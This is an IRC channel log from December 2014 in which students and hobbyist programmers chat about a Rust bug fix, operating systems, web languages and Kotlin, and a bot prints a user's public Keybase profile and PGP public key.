[2014-12-20T22:39:04-0500] <Tamini_> we were wondering what the hell he was doing
[2014-12-20T22:39:12-0500] <jwoglom> yup, apparently he only got like 3 hours of sleep or something
[2014-12-20T22:39:12-0500] <bob_twinkles> and he probably should have been asleep since he fucked up some LLVM reconfiguratoin and broke our host box
[2014-12-20T22:39:14-0500] <jwoglom> he was up at midnight
[2014-12-20T22:39:19-0500] <bob_twinkles> so we had to use skims laptop
[2014-12-20T22:39:28-0500] <bob_twinkles> he said he went to bed ~1 or 2
[2014-12-20T22:40:32-0500] <bob_twinkles> though I found out as my dad was driving me home that he had a VM server he had just pulled out of production we could have used
[2014-12-20T22:40:40-0500] <bob_twinkles> oh well
[2014-12-20T22:40:52-0500] • bob_twinkles: -> working on an X compositor, you can have your channel back =P
[2014-12-20T22:42:12-0500] <Tamini_> haha
[2014-12-20T22:46:49-0500] <@awe> nezorg: this issue might've been fixed actually
[2014-12-20T22:47:04-0500] <@awe> nezorg: I've got to wait until the nightly in an hour and a half before I can find out for sure.
[2014-12-20T22:47:20-0500] <@awe> nezorg: My friend on rust latest was able to run my minimal example.
[2014-12-20T22:47:33-0500] <@awe> nezorg: I'm excited! If this bug is fixed, awebot will be able to be a lot cooler.
[2014-12-20T22:49:44-0500] <Tamini_> which bug?
[2014-12-20T23:03:37-0500] <alokpathy> Tamini_: awe found a vulnerability in Rust and is going to use it to elicit money.
[2014-12-20T23:04:25-0500] <@awe> Wat?
[2014-12-20T23:04:26-0500] <@awe> No.
[2014-12-20T23:04:35-0500] <@awe> Tamini_: I found a bug that was probably already fixed lol
[2014-12-20T23:04:47-0500] <Tamini_> ah lol
[2014-12-20T23:04:55-0500] <nezorg> awe: why don't you just build rust yourself?
[2014-12-20T23:05:18-0500] <bob_twinkles> windows + building anything = sadness
[2014-12-20T23:05:37-0500] <@awe> bob_twinkles: lol windows.
[2014-12-20T23:05:47-0500] <nezorg> bob_twinkles: awe's not on windows :P
[2014-12-20T23:05:56-0500] <@awe> nezorg: don't want to have to build latest cargo too
[2014-12-20T23:05:59-0500] <bob_twinkles> oh, I must be misrembering that
[2014-12-20T23:06:03-0500] <@awe> bob_twinkles: I use OS X.
[2014-12-20T23:06:12-0500] <alokpathy> Does anybody here use Windows?
[2014-12-20T23:06:13-0500] <bob_twinkles> that's... marginally better
[2014-12-20T23:06:21-0500] <@awe> bob_twinkles: it's significantly better.
[2014-12-20T23:06:25-0500] <@awe> bob_twinkles: development tools work.
[2014-12-20T23:06:30-0500] <@awe> bob_twinkles: they don't shoot you in the foot.
[2014-12-20T23:06:42-0500] <nezorg> OS X is nice because it's actually unix
[2014-12-20T23:06:48-0500] <@awe> Exactly.
[2014-12-20T23:06:56-0500] <@awe> Plus, it doesn't feel pitifully open source.
[2014-12-20T23:07:08-0500] <nezorg> I used to care about looks
[2014-12-20T23:07:10-0500] <@awe> Open source GUIs are terrible.
[2014-12-20T23:07:12-0500] <nezorg> ...but now I don't :P
[2014-12-20T23:07:14-0500] <@awe> Almost always.
[2014-12-20T23:07:14-0500] <bob_twinkles> apple's intel drivers are pretty far behind mesa
[2014-12-20T23:07:20-0500] <nezorg> well, I care about looks on android
[2014-12-20T23:07:24-0500] <nezorg> but not on my desktop anymore
[2014-12-20T23:07:25-0500] <alokpathy> nezorg: But OS X Is still nice looking :P
[2014-12-20T23:07:26-0500] <@awe> bob_twinkles: and yet, somehow, my OS looks nicer than yours.
[2014-12-20T23:07:33-0500] <nezorg> alokpathy: yeah, but I don't use it much anymore
[2014-12-20T23:07:48-0500] <@awe> I actually cannot use something that doesn't look nice.
[2014-12-20T23:07:53-0500] <@awe> It bothers me immensely.
[2014-12-20T23:07:57-0500] <nezorg> it used to
[2014-12-20T23:07:59-0500] <@awe> It's a huge distraction.
[2014-12-20T23:07:59-0500] <bob_twinkles> 3.2 core versus 3.4 (once 10.4 is released)
[2014-12-20T23:08:27-0500] <Tamini_> oh my god
[2014-12-20T23:08:38-0500] <@awe> Plus, running linux on MacBook's is a disaster.
[2014-12-20T23:08:40-0500] <bob_twinkles> I can't deal with having to use a mouse
[2014-12-20T23:08:44-0500] <Tamini_> my math class is now a discussion of "most attractive guys/girls in 2015/2016"
[2014-12-20T23:08:46-0500] <nezorg> awe: wat?
[2014-12-20T23:08:47-0500] <Tamini_> jesus christ
[2014-12-20T23:08:54-0500] <@awe> nezorg: on new ones, anyway.
[2014-12-20T23:08:55-0500] <nezorg> Tamini_: sounds fun
[2014-12-20T23:08:56-0500] <jwoglom> awe: i mean, it's definately possible to do, just a pain
[2014-12-20T23:08:58-0500] <nezorg> awe: uh, no
[2014-12-20T23:08:58-0500] <Tamini_> also awe: yeah i sorta agree
[2014-12-20T23:09:08-0500] <Tamini_> nezorg: it's less fun than it could be
[2014-12-20T23:09:10-0500] <nezorg> I'm on a late 2013 mbpr and it's perfect
[2014-12-20T23:09:12-0500] <jwoglom> Tamini_: sounds like you guys are great at staying on topic
[2014-12-20T23:09:12-0500] <@awe> nezorg: Unless the situation has improved recently, the last time I tried, it was driver hell.
[2014-12-20T23:09:18-0500] <nezorg> it's fine now
[2014-12-20T23:09:41-0500] <nezorg> (well, except trackpad misclick detection sucks, but that's it)
[2014-12-20T23:09:51-0500] <bob_twinkles> http://i.imgur.com/WzuOy8l.png
[2014-12-20T23:09:55-0500] <@awe> nezorg: Retina display.
[2014-12-20T23:10:01-0500] <bob_twinkles> well, normally there's a bar on top but scrot made a sad
[2014-12-20T23:10:03-0500] <nezorg> awe: nothing's wrong with it...?
[2014-12-20T23:10:13-0500] <@awe> nezorg: Tiny?
[2014-12-20T23:10:20-0500] <nezorg> just set the dpi higher!
[2014-12-20T23:10:24-0500] <@awe> ...
[2014-12-20T23:10:29-0500] <@awe> I had the DPI set right in my VM.
[2014-12-20T23:10:30-0500] <jwoglom> awe: nice -- i use a mba 2012
[2014-12-20T23:10:30-0500] <@awe> It doesn't care.
[2014-12-20T23:10:36-0500] <nezorg> awe: well, don't know about VMs
[2014-12-20T23:10:38-0500] <jwoglom> i just use a linux vm for when I need it
[2014-12-20T23:10:41-0500] <@awe> It was still tiny.
[2014-12-20T23:10:48-0500] <@awe> jwoglom: Yeah, that was my plan too.
[2014-12-20T23:11:04-0500] <nezorg> it works pretty much perfectly native
[2014-12-20T23:11:04-0500] <bob_twinkles> lol using things with buttons =P
[2014-12-20T23:11:06-0500] <jwoglom> awe: except for the fact that i'm lazy and never use it -_-
[2014-12-20T23:11:08-0500] <@awe> bob_twinkles: I can deal with xmonad and basically no UI at all.
[2014-12-20T23:11:11-0500] <@awe> bob_twinkles: nothing to distract me
[2014-12-20T23:11:16-0500] <@awe> bob_twinkles: but GTK programs? lol.
[2014-12-20T23:11:27-0500] <Tamini_> lol
[2014-12-20T23:11:29-0500] <jwoglom> i should probably upgrade to yosemite...or, heck, reboot my mac
[2014-12-20T23:11:29-0500] <bob_twinkles> what do you even need a gui for
[2014-12-20T23:11:33-0500] <Tamini_> hmm
[2014-12-20T23:11:34-0500] <bob_twinkles> other than maybe firefox
[2014-12-20T23:11:40-0500] <nezorg> bob_twinkles: lynx works fine
[2014-12-20T23:11:41-0500] <@awe> bob_twinkles: Not much, technically.
[2014-12-20T23:11:41-0500] <nezorg> :P
[2014-12-20T23:11:47-0500] <jwoglom> bob_twinkles: you don't use elinks for your web browsing?
[2014-12-20T23:11:49-0500] <jwoglom> ameteur
[2014-12-20T23:11:57-0500] <@awe> bob_twinkles: Literally, all I do on my computer is MacVim, terminal, Safari, and some chat programs.
[2014-12-20T23:12:06-0500] <bob_twinkles> jwoglom: basically, I run noscript =P
[2014-12-20T23:12:21-0500] <nezorg> I just use firefox, emacs, and occasionally chromium
[2014-12-20T23:12:21-0500] <jwoglom> bob_twinkles: oh yeah...on behalf of all web developers i hate you
[2014-12-20T23:12:33-0500] <nezorg> I use noscript too!
[2014-12-20T23:12:37-0500] <@awe> I used Chrome until the spyware started bothering me too much
[2014-12-20T23:12:38-0500] <nezorg> (I'm crazy)
[2014-12-20T23:12:39-0500] <@awe> I switched to Firefox
[2014-12-20T23:12:41-0500] <bob_twinkles> jwoglom: and on behalf of the people who hate javascript, fuck you too =P
[2014-12-20T23:12:48-0500] <@awe> Safari dropped a huge improvement with Yosemite
[2014-12-20T23:12:53-0500] <@awe> and then I switched to Safari.
[2014-12-20T23:12:54-0500] <Tamini_> nezorg: im glad you realized :P
[2014-12-20T23:13:01-0500] <nezorg> Tamini_: <3
[2014-12-20T23:13:03-0500] <@awe> jwoglom: javascript is terrible. :)
[2014-12-20T23:13:15-0500] <jwoglom> awe: i've been debating switching to safari for general web browsing, I probably should
[2014-12-20T23:13:15-0500] <@awe> That being said, I couldn't browse the web with noscript.
[2014-12-20T23:13:17-0500] <@awe> It'd hurt me.
[2014-12-20T23:13:24-0500] <jwoglom> or at the very least i should trim down my chrome extensions
[2014-12-20T23:13:25-0500] <Tamini_> awe: how so?
[2014-12-20T23:13:27-0500] <@awe> jwoglom: would recommend on Yosemite. Screen footprint is tiny.
[2014-12-20T23:13:39-0500] <@awe> Tamini_: I am actively distracted by things looking bad.
[2014-12-20T23:13:49-0500] <@awe> Tamini_: I have trouble reading websites from the 90s.
[2014-12-20T23:13:50-0500] <jwoglom> javascript is a weird language. but there's basically no other option for frontend web devel
[2014-12-20T23:14:01-0500] <@awe> jwoglom: We need to fix that desperately. 
[2014-12-20T23:14:12-0500] <Tamini_> awe: ah, i forgot about that
[2014-12-20T23:14:13-0500] <@awe> jwoglom: Haskell is a reasonable option with js compilation.
[2014-12-20T23:14:20-0500] <@awe> jwoglom: It'd be nice if it could just run in the browser though.
[2014-12-20T23:14:37-0500] <jwoglom> awe: lol i've never used haskell
[2014-12-20T23:14:39-0500] <@awe> bob_twinkles: but yeah, GTK interfaces bother the hell out of me.
[2014-12-20T23:14:40-0500] <jwoglom> but i think it'd be a bit overkill
[2014-12-20T23:14:43-0500] <@awe> Why?
[2014-12-20T23:14:55-0500] <@awe> Haskell is fast, and effective.
[2014-12-20T23:14:59-0500] <@awe> And extremely terse.
[2014-12-20T23:15:08-0500] <@awe> Which means transmitting web haskell scripts would be easy!
[2014-12-20T23:15:15-0500] <jwoglom> i suppose
[2014-12-20T23:15:25-0500] <bob_twinkles> I basically can't use javascript because the object model is so screwy
[2014-12-20T23:15:36-0500] <bob_twinkles> I can put up with python,  but that's mostly because it's fun to break =P
[2014-12-20T23:15:45-0500] <@awe> I can't deal with either of them.
[2014-12-20T23:15:46-0500] <bob_twinkles> but JS is just.... no
[2014-12-20T23:15:48-0500] <@awe> But python's definitely better.
[2014-12-20T23:15:54-0500] <@awe> Well, eh.
[2014-12-20T23:15:58-0500] <@awe> On one hand, functional abstractions in JS.
[2014-12-20T23:16:07-0500] <@awe> On the other hand, objects make some sense in Python.
[2014-12-20T23:18:26-0500] <Tamini_> i dont think we've looked at a math problem for the past hour
[2014-12-20T23:18:30-0500] <Tamini_> ._.
[2014-12-20T23:19:34-0500] <bob_twinkles> ggwp
[2014-12-20T23:21:08-0500] <@awe> nezorg: https://help.ubuntu.com/community/MacBookPro11-1/Saucy
[2014-12-20T23:21:29-0500] <@awe> nezorg: yeah, super easy.
[2014-12-20T23:22:12-0500] <@awe> nezorg: not to mention, I'd want arch and who knows what issues I'd have there.
[2014-12-20T23:23:52-0500] <@awe> https://wiki.archlinux.org/index.php/MacBookPro11,x
[2014-12-20T23:23:58-0500] <@awe> Actually, this doesn't look *that* bad.
[2014-12-20T23:24:42-0500] <alokpathy> Tamini_: Solid math class LOL
[2014-12-20T23:24:58-0500] <Tamini_> bob_twinkles: basically it has been senior guys debating hot girls in your year, any contributions? :P
[2014-12-20T23:25:18-0500] <Tamini_> alokpathy: yep, 10/10 we kinda established everyone in our year is ugly rip
[2014-12-20T23:25:34-0500] <alokpathy> Tamini_: Including me?
[2014-12-20T23:25:35-0500] <alokpathy> wow
[2014-12-20T23:25:38-0500] <alokpathy> harsh
[2014-12-20T23:25:59-0500] <alokpathy> Oh, wait, your year.
[2014-12-20T23:26:04-0500] <Tamini_> yes
[2014-12-20T23:26:07-0500] <Tamini_> my year
[2014-12-20T23:26:13-0500] <alokpathy> oops
[2014-12-20T23:26:22-0500] <Tamini_> we were like "hmm...who are pretty girls...there arent too many"
[2014-12-20T23:26:32-0500] <alokpathy> It's okay WWP is like that too.
[2014-12-20T23:26:36-0500] <Tamini_> "who are attractive guys....yeah sorry sweetie i cant think of any"
[2014-12-20T23:26:48-0500] <Tamini_> alokpathy: but like legit public school
[2014-12-20T23:27:03-0500] <Tamini_> if there arent pretty girls, get alan to take me to jprom :(
[2014-12-20T23:27:11-0500] <alokpathy> Still, lol
[2014-12-20T23:27:17-0500] <alokpathy> I don't know him well LOL
[2014-12-20T23:27:21-0500] <alokpathy> Though I could ask him in Lang or gym
[2014-12-20T23:27:38-0500] <Tamini_> LOL NO IM KIDDING OMG NO
[2014-12-20T23:27:53-0500] <Tamini_> its one thing for me to make fun of him about it
[2014-12-20T23:27:56-0500] <alokpathy> Hmm I guess locker room would be the best time and place.
[2014-12-20T23:28:02-0500] <Tamini_> its another for you to make him
[2014-12-20T23:28:03-0500] <Tamini_> LOL
[2014-12-20T23:28:07-0500] <alokpathy> Alright, I'll ask Monday.
[2014-12-20T23:28:11-0500] <Tamini_> does prom not coincide with arml for you
[2014-12-20T23:28:15-0500] <alokpathy> No idea
[2014-12-20T23:28:16-0500] <Tamini_> YOU ARENT LISTENING TO MEEEE
[2014-12-20T23:28:21-0500] <alokpathy> Now I did :P
[2014-12-20T23:28:26-0500] <@awe> nezorg: Largest console font (although ugly) achieved by adding FONT=sun12x22 to /etc/vconsole.conf It is still tiny but is at least readable.
[2014-12-20T23:28:51-0500] <alokpathy> Tamini_: I can FB message him too
[2014-12-20T23:28:57-0500] <@awe> nezorg: Graphics card would just work out of the box.
[2014-12-20T23:29:04-0500] <alokpathy> Tamini_: "Ay, you know what you should do? Ask Tamini to prom."
[2014-12-20T23:29:07-0500] <@awe> nezorg: sound works.
[2014-12-20T23:29:28-0500] <Tamini_> alokpathy: this is not a new thing for him
[2014-12-20T23:29:30-0500] <Tamini_> lol
[2014-12-20T23:29:43-0500] <alokpathy> Tamini_: Cool so it won't be weird if I do it :P
[2014-12-20T23:29:50-0500] <Tamini_> stop it :(
[2014-12-20T23:29:56-0500] <alokpathy> Aw okay
[2014-12-20T23:29:58-0500] <Tamini_> but really, does it not?
[2014-12-20T23:29:59-0500] <alokpathy> sorry :|
[2014-12-20T23:30:07-0500] <alokpathy> No idea
[2014-12-20T23:30:12-0500] <alokpathy> Idk when our prom is
[2014-12-20T23:30:15-0500] <alokpathy> idk when ARML is\
[2014-12-20T23:30:18-0500] <Tamini_> prom and arml have overlapped every year for like
[2014-12-20T23:30:20-0500] <Tamini_> 4 years
[2014-12-20T23:30:21-0500] <alokpathy> Actually, wait, our prom is in June.
[2014-12-20T23:30:23-0500] <alokpathy> ARML is in May.
[2014-12-20T23:30:27-0500] <Tamini_> dammit you :(
[2014-12-20T23:30:29-0500] <alokpathy> It probably doesn't conflict.
[2014-12-20T23:30:30-0500] <@awe> nezorg: only issues seem to be that the terminal font is tiny (as expected) and the camera doesn't work.
[2014-12-20T23:30:44-0500] <@awe> nezorg: If I used xmonad, I could make the font bigger obviously.
[2014-12-20T23:30:55-0500] <alokpathy> Tamini_: Dude do you know when South's jprom was last year?
[2014-12-20T23:30:59-0500] <alokpathy> Day before April SAT
[2014-12-20T23:31:07-0500] <@awe> nezorg: but that'd be a struggle because I'd still need to web browse and the default font there would still be tiny.
[2014-12-20T23:31:08-0500] <Tamini_> LOL
[2014-12-20T23:31:11-0500] <alokpathy> How poorly timed can you get?
[2014-12-20T23:31:12-0500] <Tamini_> oh thats amazing
[2014-12-20T23:31:20-0500] <Tamini_> and god i cant even make that day even if he asks me
[2014-12-20T23:31:28-0500] <Tamini_> also its a friday?
[2014-12-20T23:31:39-0500] <alokpathy> North's jprom is on a different day from South's.
[2014-12-20T23:31:45-0500] <alokpathy> And yeah, I think.
[2014-12-20T23:31:52-0500] <bob_twinkles> does css define the px unit to be in 72nts of an inch or is it actual device pixels?
[2014-12-20T23:32:04-0500] <alokpathy> I think it runs from Friday - Saturday morning
[2014-12-20T23:32:06-0500] <alokpathy> as in like
[2014-12-20T23:32:07-0500] <alokpathy> 12am
[2014-12-20T23:32:35-0500] <Tamini_> wait do you go to north or south i always forget
[2014-12-20T23:32:37-0500] <Tamini_> north right
[2014-12-20T23:32:40-0500] <alokpathy> ya
[2014-12-20T23:32:42-0500] <alokpathy> the better one
[2014-12-20T23:32:46-0500] <alokpathy> pewpew
[2014-12-20T23:33:50-0500] <Tamini_> hehe
[2014-12-20T23:34:00-0500] <Tamini_> but tjhsst best school amirite
[2014-12-20T23:34:03-0500] <Tamini_> since you like go herr
[2014-12-20T23:34:04-0500] <Tamini_> e
[2014-12-20T23:34:08-0500] <Tamini_> and are in my latin class
[2014-12-20T23:34:22-0500] <alokpathy> No I'm in period 6 :P
[2014-12-20T23:34:26-0500] <alokpathy> You're in period 5
[2014-12-20T23:34:33-0500] <alokpathy> I know this because I go to TJ.
[2014-12-20T23:34:35-0500] <Tamini_> i thought you sat next to me....
[2014-12-20T23:34:42-0500] <Tamini_> am i having a racist moment
[2014-12-20T23:34:51-0500] <Tamini_> are all indians not you
[2014-12-20T23:34:52-0500] <alokpathy> Oh, um, I'm in two latin classes.
[2014-12-20T23:35:15-0500] <alokpathy> Urf can I join the period 5 latin class FB group too?
[2014-12-20T23:35:16-0500] <alokpathy> plz
[2014-12-20T23:37:11-0500] <Tamini_> LOL
[2014-12-20T23:37:15-0500] <Tamini_> i wont add you myself :P
[2014-12-20T23:37:24-0500] <alokpathy> Can you just accept my request?
[2014-12-20T23:37:48-0500] <alokpathy> Or is that the same thing?
[2014-12-20T23:37:52-0500] <alokpathy> I am not familiar with this lingo
[2014-12-20T23:38:37-0500] <Tamini_> i dont want to be responsible for this :P
[2014-12-20T23:38:53-0500] <Tamini_> you're infiltrating, so i dont want to be aiding this
[2014-12-20T23:38:54-0500] <alokpathy> At the very least, could you tell me 6th period's homework so I can help people in the group?
[2014-12-20T23:40:05-0500] <Tamini_> :P maybe
[2014-12-20T23:40:09-0500] <Tamini_> we have different homework
[2014-12-20T23:40:22-0500] <alokpathy> Could you ask somebody from the other class? .-.
[2014-12-20T23:42:10-0500] <Tamini_> but that's like a hassle
[2014-12-20T23:42:11-0500] <Tamini_> :(
[2014-12-20T23:42:26-0500] <alokpathy> But I want to be helpful :(
[2014-12-20T23:42:34-0500] <alokpathy> plz
[2014-12-20T23:43:57-0500] <Tamini_> its ok
[2014-12-20T23:44:02-0500] <Tamini_> you dont need me to be helpful
[2014-12-20T23:44:23-0500] <alokpathy> What would I even do then? LOL
[2014-12-20T23:48:55-0500] <Tamini_> idk
[2014-12-20T23:48:56-0500] <Tamini_> move here
[2014-12-20T23:49:03-0500] <Tamini_> go to school here :)
[2014-12-20T23:52:59-0500] <@awe> So, JetBrains made their own language.
[2014-12-20T23:53:10-0500] <@awe> It looks like Java minus the boilerplate.
[2014-12-20T23:53:10-0500] <@awe> http://kotlinlang.org
[2014-12-20T23:53:52-0500] <@awe> And it optionally targets JS.
[2014-12-20T23:57:38-0500] <alokpathy> Oh cool
[2014-12-20T23:57:58-0500] <alokpathy> We might have a lot of "fun" with it :P
[2014-12-20T23:57:59-0500] <alokpathy> heh
[2014-12-20T23:58:04-0500] <alokpathy> that was bad I'm sorry
[2014-12-20T23:58:42-0500] <Tamini_> lol, alokpathy
[2014-12-20T23:58:48-0500] <Tamini_> go back to your college essays
[2014-12-20T23:58:50-0500] <@awe> This is actually a really nice language though.
[2014-12-20T23:59:28-0500] <bob_twinkles> oh noes
[2014-12-20T23:59:33-0500] <bob_twinkles> optional semicolons =(
[2014-12-21T00:00:10-0500] <Tamini_> oh dear.
[2014-12-21T00:00:24-0500] <Tamini_> didnt we already have a discussion about why that was terrible
[2014-12-21T00:00:32-0500] <bob_twinkles> looks a lot like scala actually
[2014-12-21T00:01:06-0500] <bob_twinkles> also nullable without monads =P
[2014-12-21T00:01:14-0500] <bob_twinkles> I guess the M word was too scary
[2014-12-21T00:14:20-0500] <@awe> It looks like a less messy scala.
[2014-12-21T00:14:24-0500] <@awe> No HKT though.
[2014-12-21T00:14:26-0500] <@awe> :(
[2014-12-21T00:14:33-0500] <@awe> If a language doesn't have HKT, it saddens me.
[2014-12-21T00:14:41-0500] <@awe> I can't wait for Rust to have HKT.
[2014-12-21T00:15:39-0500] <@awe> All things considered, Kotlin looks pretty nice.
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[2014-12-21T09:07:52-0500] <@awe> @tell awe hi
[2014-12-21T09:07:52-0500] <mailbot> awe: I'll let them know!
[2014-12-21T09:07:53-0500] <mailbot> awe: Moments ago, awe said hi.
[2014-12-21T09:07:53-0500] <+awebot> I'll do it when I see them!
[2014-12-21T09:07:53-0500] <+awebot> awe: Timespec { sec: 1419170872, nsec: 979302000 }, awe said hi.
[2014-12-21T09:07:59-0500] <@awe> Huzzah!
[2014-12-21T09:08:06-0500] <@awe> The bug is fixed!
[2014-12-21T09:08:12-0500] <@awe> awebot plugins can be considerably more complex!
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[2014-12-21T10:22:52-0500] <alokpathy> 'mornin
[2014-12-21T10:31:22-0500] <@awe> alokpathy: good morning
[2014-12-21T10:31:36-0500] <alokpathy> awe: How has your morning been so far?
[2014-12-21T10:32:08-0500] <@awe> I've written three PRs for upstream Rust projects and the bug that was preventing me from having cool awebot plugins was indeed fixed in last night's nightly build.
[2014-12-21T10:32:48-0500] <alokpathy> Was that before or after you pointed it out?
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[2014-12-21T10:33:43-0500] <@awe> Well, I had pointed out before.
[2014-12-21T10:33:47-0500] <@awe> I only filed an issue for it yesterday.
[2014-12-21T10:33:50-0500] <@awe> It was fixed before my issue.
[2014-12-21T10:33:54-0500] <@awe> @keybase
[2014-12-21T10:33:58-0500] <@awe> @keybase awe
[2014-12-21T10:33:59-0500] <alokpathy> Ah, okay
[2014-12-21T10:34:05-0500] <alokpathy> @keybase kullalok
[2014-12-21T10:34:15-0500] <@awe> {"guest_id":"b0979a2fce59dcb119000296efdecc08","status":{"code":0,"name":"OK"},"them":[{"id":"92c36ba62f1c352dda0a6fab4cb7e200","basics":{"username":"awe","ctime":1394594241,"mtime":1394594241,"id_version":48,"track_version":7,"last_id_change":1418920051},"profile":{"mtime":1418722906,"full_name":"Aaron Weiss","location":"Amherst, MA","bio":"I'm a guy who loves computers. I primarily use OS X. I'm a web developer. I'm a software developer. I make things."},"public_keys"
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[2014-12-21T10:34:15-0500] <@awe> 6he/iLC/nU0/hwS/BVBMotHpoAmUBWXyO9D5x/knIp/RIv\n/dAB4WuRkOsd3w6+PDwLN5bU/FZXIJY8BbX+jkkAEQEAAYkERAQYAQIADwUCUx/Z\n+AIbLgUJEswDAAIpCRCpQ7qfIExhvsFdIAQZAQIABgUCUx/Z+AAKCRACNwNdm/A6\n4loZD/98QJPn+dUlBGdNc2dMTEgKvJmfvxwLeAsbbTq0M08p8g5098017cQ1qaXg\nvhXE4tbeVUqz5iTZjUuuDIYyjTpCPmEEgjppxf6nTHq8KKrIgfhWu7JQ1OT3fevm\nRwy3iFAMWhxBB6KBzXvN4h1HvchJgH4jCiUtfWxvN0qCkVU7mZzBbmpasfSeZ95x\ntOKU1ox5tIKjRMWd/TH93m7l9NmPlC7+CUXW3WoT+h1rTFJPU21tERVoN2CjY8ki\ntTHrJBiw53P9WOhW5QqnhS2zJYeflX
[2014-12-21T10:34:15-0500] <@awe> 6fSTanh9/ZlrhLFh9uOwO+DCcgCY1Ajel0\nG5DCSyWvY+uFxPp2aJTNJgxk+80CByeXLxxj/KKo3A68MsTN8QVGkA7Y6ab3xwQu\nQE7+BRXnwsKfZCLiK7LZywJlW5D9IsV3fPr5t/Lv8j2z5oWpbTWoODlgDcC1H7HE\ndCjW+8IJ5Kfz5JL9jtqCK82aeUhpudysx1YZ9OcHwijInHSFoh6rWci/pxipyiT+\n2NPSxsCpabNpFiX54wQ16CcoYAiE4l4QBXixE9Ayp4QgIH9dRu15V1YoAvyeXy4y\n3G4BqtXAbzSRSzPwgEwEdOiN60ge6RxJ1OofI+qLqXZh8JhPr2JHdPMTgo0fRf8n\nKXppk7yIzdtWVmAA/4rEYsI60mu5g8qRtdtmKjg7PT0V7qxHTi0ZD/9uP+To8KRu\npa+jLRRYTO7I5FehtRoCrENw0o8zy5toA3WaFLI89S
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[2014-12-21T10:34:15-0500] <@awe> pK7elDQl86\nMifhtN5XWieCwv6VLgfLnAU6WALmgxSfka6B+BSpHtVqHn2+tyP9tdpHYE3etEBV\ncbAROyRoGnTMiQE+wfKeJUoTNHQpN1F7CAkQvbjvL906nJrj3prBf/tXT+fk7vp6\noUMwiDns1nRYvwm/Dsp4y8LC1+Hcaqqv9w==\n=FTvJ\n-----END PGP PUBLIC KEY BLOCK-----","mtime":1394596370,"ctime":1394596370,"ukbid":"1c803e9f0619fe88507c03523a028c11","key_fingerprint":"7a043d1fbfca614867de3126a943ba9f204c61be","key_bits":4096,"key_algo":1}},"proofs_summary":{"by_proof_type":{"twitter":[{"proof_type":"twitter","namet
[2014-12-21T10:34:15-0500] <@awe> ag":"aatxe","state":1,"proof_url":"https://twitter.com/aatxe/status/545616079440334848","sig_id":"02dc8f599702fd0c3bfbd7f28e70d0b13997d9abb4759bd958854ef7a30451eb0f","proof_id":"90283ca4df5cc021faf13c10","human_url":"https://twitter.com/aatxe/status/545616079440334848","service_url":"https://twitter.com/aatxe","presentation_group":"twitter","presentation_tag":"tweet"}],"github":[{"proof_type":"github","nametag":"aatxe","state":1,"proof_url":"https://gist.github.com/9500
[2014-12-21T10:34:15-0500] <@awe> 611","sig_id":"b57c608689e482ec6112d692c595f796bb994adab1ed3e9e567269728732df310f","proof_id":"6b62de2d70f303a7fc17e010","human_url":"https://gist.github.com/9500611","service_url":"https://github.com/aatxe","presentation_group":"github","presentation_tag":"gist"}],"reddit":[{"proof_type":"reddit","nametag":"aaronweiss74","state":1,"proof_url":"https://www.reddit.com/r/KeybaseProofs/comments/2doi6t/my_keybase_proof_redditaaronweiss74_keybaseawe/","sig_id":"cf885c68f6180
[2014-12-21T10:34:15-0500] <@awe> d0f2f5f34a2a97cf9a4cac402a76079cafd43304c6a503e9cb20f","proof_id":"763b05ebffdfcda48775c210","human_url":"https://www.reddit.com/r/KeybaseProofs/comments/2doi6t/my_keybase_proof_redditaaronweiss74_keybaseawe/","service_url":"https://reddit.com/user/aaronweiss74","presentation_group":"reddit","presentation_tag":"post"}],"coinbase":[{"proof_type":"coinbase","nametag":"coinbase/awe","state":1,"proof_url":"https://coinbase.com/awe/public-key","sig_id":"2b0b8f5cb22981f82f05a
[2014-12-21T10:34:15-0500] <@awe> 21b87c719cf7393902ac748db3c17eee986ba0335a30f","proof_id":"287cb18e4e5ff68db6a5c810","human_url":"https://coinbase.com/awe/public-key","service_url":"https://coinbase.com/awe","presentation_group":"coinbase","presentation_tag":"post"}],"dns":[{"proof_type":"dns","nametag":"deviant-core.net","state":1,"proof_url":"https://keybase.io/awe/sigs/72KJ220uVURxTHZf756bSKba01ffoGHrb7Gg","sig_id":"ef6289db6d2e5544714c765fef9e9b48a6dad357dfa061eb6fb1a01b3d1e10880f","proof_id":"56c
[2014-12-21T10:34:15-0500] <@awe> 2bc5deb8de634f185d810","human_url":"dns://deviant-core.net","service_url":"http://deviant-core.net","presentation_group":"deviant-core.net","presentation_tag":"dns"},{"proof_type":"dns","nametag":"pdgn.co","state":1,"proof_url":"https://keybase.io/awe/sigs/E2WIazNmlm7y2T64d16yzWOcZh-mEh6xEN0b","sig_id":"1365886b3366966ef2d93eb8775eb2cd639c661fa6121eb110dd1bb77212ffed0f","proof_id":"5d4917aec0346b64f6db4410","human_url":"dns://pdgn.co","service_url":"http://pdgn.co","pre
[2014-12-21T10:34:15-0500] <@awe> sentation_group":"pdgn.co","presentation_tag":"dns"},{"proof_type":"dns","nametag":"aaronweiss.us","state":1,"proof_url":"https://keybase.io/awe/sigs/tMz19RZlE_jJ07Ebf3jFgbOWZpyPN1TChk1g","sig_id":"b4ccf5f5166513f8c9d3b11b7f78c581b396669c8f3754c2864d607e09d31c5a0f","proof_id":"642f1561e56cd9582e449510","human_url":"dns://aaronweiss.us","service_url":"http://aaronweiss.us","presentation_group":"aaronweiss.us","presentation_tag":"dns"}]},"by_presentation_group":{"twitter"
[2014-12-21T10:34:15-0500] <@awe> :[{"proof_type":"twitter","nametag":"aatxe","state":1,"proof_url":"https://twitter.com/aatxe/status/545616079440334848","sig_id":"02dc8f599702fd0c3bfbd7f28e70d0b13997d9abb4759bd958854ef7a30451eb0f","proof_id":"90283ca4df5cc021faf13c10","human_url":"https://twitter.com/aatxe/status/545616079440334848","service_url":"https://twitter.com/aatxe","presentation_group":"twitter","presentation_tag":"tweet"}],"github":[{"proof_type":"github","nametag":"aatxe","state":1,"proof_ur
[2014-12-21T10:34:15-0500] <@awe> l":"https://gist.github.com/9500611","sig_id":"b57c608689e482ec6112d692c595f796bb994adab1ed3e9e567269728732df310f","proof_id":"6b62de2d70f303a7fc17e010","human_url":"https://gist.github.com/9500611","service_url":"https://github.com/aatxe","presentation_group":"github","presentation_tag":"gist"}],"reddit":[{"proof_type":"reddit","nametag":"aaronweiss74","state":1,"proof_url":"https://www.reddit.com/r/KeybaseProofs/comments/2doi6t/my_keybase_proof_redditaaronweiss74_keyb
